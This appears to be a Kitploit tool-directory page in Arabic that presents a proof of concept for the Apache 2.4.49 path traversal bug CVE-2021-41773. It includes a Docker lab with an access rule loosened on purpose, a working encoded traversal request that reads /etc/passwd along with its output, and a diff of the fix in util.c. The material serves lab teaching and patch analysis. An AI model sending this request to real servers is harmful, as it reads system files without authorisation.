Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2021-41773-i- — استغلال إثبات المفهوم لاجتياز المسار في Apache HTTP Server 2.4.49 (CVE-2021-41773) مع بيئة مختبر قائمة على Docker وتحليل فرق التصحيح. | Kitploit
أدوات/GitHubGitHub/mightysai1997/cve-2021-41773-i-
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليممختبرات وتدريب عملي
GitHubmightysai1997/cve-2021-41773-i-

CVE-2021-41773-i-

استغلال إثبات المفهوم لاجتياز المسار في Apache HTTP Server 2.4.49 (CVE-2021-41773) مع بيئة مختبر قائمة على Docker وتحليل فرق التصحيح.

عرض المستودع
1منذ 9 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2021-41773

CVE-2021-41773 POC مع Docker

الإعدادات

لتخصيص ملف httpd.conf، قم بتغيير السطر 251 في قسم <Directory /> من Require all denied إلى Require all granted.

root@kitploit:~
<Directory />
    AllowOverride none
    Require all granted
</Directory>

إنشاء ملف Dockerfile في مشروعك

root@kitploit:~
FROM httpd:2.4.49
COPY ./httpd.conf /usr/local/apache2/conf/httpd.conf

ثم، قم بتشغيل الأوامر لبناء وتشغيل صورة Docker:

root@kitploit:~
$ docker build -t apache-pt .
$ docker run -dit --name apache-pt-app -p 81:80 apache-pt

الاستغلال

أرسل الطلب التالي باستخدام BurpSuite Repeater.

root@kitploit:~
GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1
Host: localhost:81
User-Agent: Mozilla
Connection: close


الاستجابة:

root@kitploit:~
HTTP/1.1 200 OK
Date: Wed, 06 Oct 2021 02:32:09 GMT
Server: Apache/2.4.49 (Unix)
Last-Modified: Mon, 27 Sep 2021 00:00:00 GMT
ETag: "39e-5cceec7356000"
Accept-Ranges: bytes
Content-Length: 926
Connection: close

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin

مراجعة التصحيح

يمكن تنزيل الكود المصدري لـ Apache 2.4.49 (ضعيف) و Apache 2.4.50 (مصحح) على التوالي من:

  • https://dlcdn.apache.org//httpd/httpd-2.4.49.tar.gz
  • https://dlcdn.apache.org//httpd/httpd-2.4.50.tar.gz
root@kitploit:~
$ wget https://dlcdn.apache.org//httpd/httpd-2.4.49.tar.gz
$ wget https://dlcdn.apache.org//httpd/httpd-2.4.50.tar.gz

توجد الثغرة في ملف /server/util.c في السطر 571 حيث يتم تطبيق التحقق من النوع /xx/../ ولكن ليس للنوع /xx/.%2e/.

يمكن الحصول على الفرق بين الكود الضعيف والكود المصحح باستخدام الأمر diff.

root@kitploit:~
$ diff httpd-2.4.49/server/util.c httpd-2.4.50/server/util.c
505c505,506
<     apr_size_t l = 1, w = 1;
---
>     apr_size_t l = 1, w = 1, n;
>     int decode_unreserved = (flags & AP_NORMALIZE_DECODE_UNRESERVED) != 0;
532c533
<         if ((flags & AP_NORMALIZE_DECODE_UNRESERVED)
---
>         if (decode_unreserved
570,571c571,581
<                 /* Remove /xx/../ segments */
<                 if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {
---
>                 /* Remove /xx/../ segments (or /xx/.%2e/ when
>                  * AP_NORMALIZE_DECODE_UNRESERVED is set since we
>                  * decoded only the first dot above).
>                  */
>                 n = l + 1;
>                 if ((path[n] == '.' || (decode_unreserved
>                                         && path[n] == '%'
>                                         && path[++n] == '2'
>                                         && (path[++n] == 'e'
>                                             || path[n] == 'E')))
>                         && IS_SLASH_OR_NUL(path[n + 1])) {
588c598
<                     l += 2;
---
>                     l = n + 1;
تنزيل الأداة